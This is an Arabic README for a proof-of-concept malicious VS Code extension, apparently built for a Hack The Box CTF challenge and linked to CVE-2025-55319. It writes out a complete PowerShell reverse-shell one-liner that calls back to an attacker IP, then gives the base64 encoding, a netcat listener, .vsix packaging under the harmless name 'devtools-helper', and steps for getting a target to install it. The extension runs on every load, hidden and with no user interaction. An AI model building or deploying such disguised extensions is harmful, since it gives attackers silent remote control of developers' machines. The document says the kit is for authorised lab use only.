
إثبات المفهوم لـ CVE-2025-55319
المرجع: CVE-2025-55319
إضافة برهان مفهوم لـ VS Code (.vsix) لتحدي HTB "Checkpoint".
بمجرد تثبيتها، يتم تفعيل الإضافة تلقائيًا وتُشغّل قشرة عكسية مخفية لـ PowerShell تعود إلى المهاجم.
⚠️ للاستخدام المصرح به فقط. هذه أداة تجريبية/مخبرية لـ CTF. لا تنشرها إلا على أجهزة تملكها أو أنت مصرح صراحةً باختبارها (مثل صندوق هدف HTB).
extension/package.json — بيان الإضافة. يجعلها "activationEvents": ["*"] تعمل بمجرد تحميل VS Code، دون أي تفاعل من المستخدم.extension/extension.js — عند activate()، ينفّذ حمولة PowerShell مشفرة بـ base64 مع -WindowStyle Hidden -NoProfile لقشرة عكسية صامتة.[Content_Types].xml — بيان نوع المحتوى OpenXML بحيث يمكن ضغط المجلد في حزمة .vsix صالحة..
├── [Content_Types].xml # VSIX content-type manifest
└── extension/
├── package.json # extension manifest (activates on "*")
└── extension.js # reverse-shell payload
ولّد قشرة عكسية PowerShell بتشفير base64 (UTF-16LE) موجهةً إلى جهازك المهاجم:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
الصق المخرجات مكان YOUR_BASE64_PAYLOAD_HERE في extension/extension.js:
const payload = '<base64-blob-here>'
nc -lvnp 4443
ملف .vsix هو مجرد ZIP يحتوي على مجلد extension/ بالإضافة إلى البيان في الجذر:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
اجعل الجهاز الهدف يثبّت الإضافة. إما:
code --install-extension devtools-helper.vsix··· ← التثبيت من VSIX…عند إطلاق VS Code التالي (أو فورًا بعد التثبيت)، يتم تشغيل حدث التفعيل *، فتعمل الحمولة، ويستلم المستمع الخاص بك القشرة.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
أزل الإضافة من الجهاز الهدف عند الانتهاء:
code --uninstall-extension devtools.devtools-helper
extension.js للأنظمة الأخرى.os في extension.js لكنه غير مستخدم — مفيد إذا أردت التفرع بناءً على
os.platform() لدعم أهداف Linux/macOS.version في package.json بين مرات البناء إذا أعدت الحزم.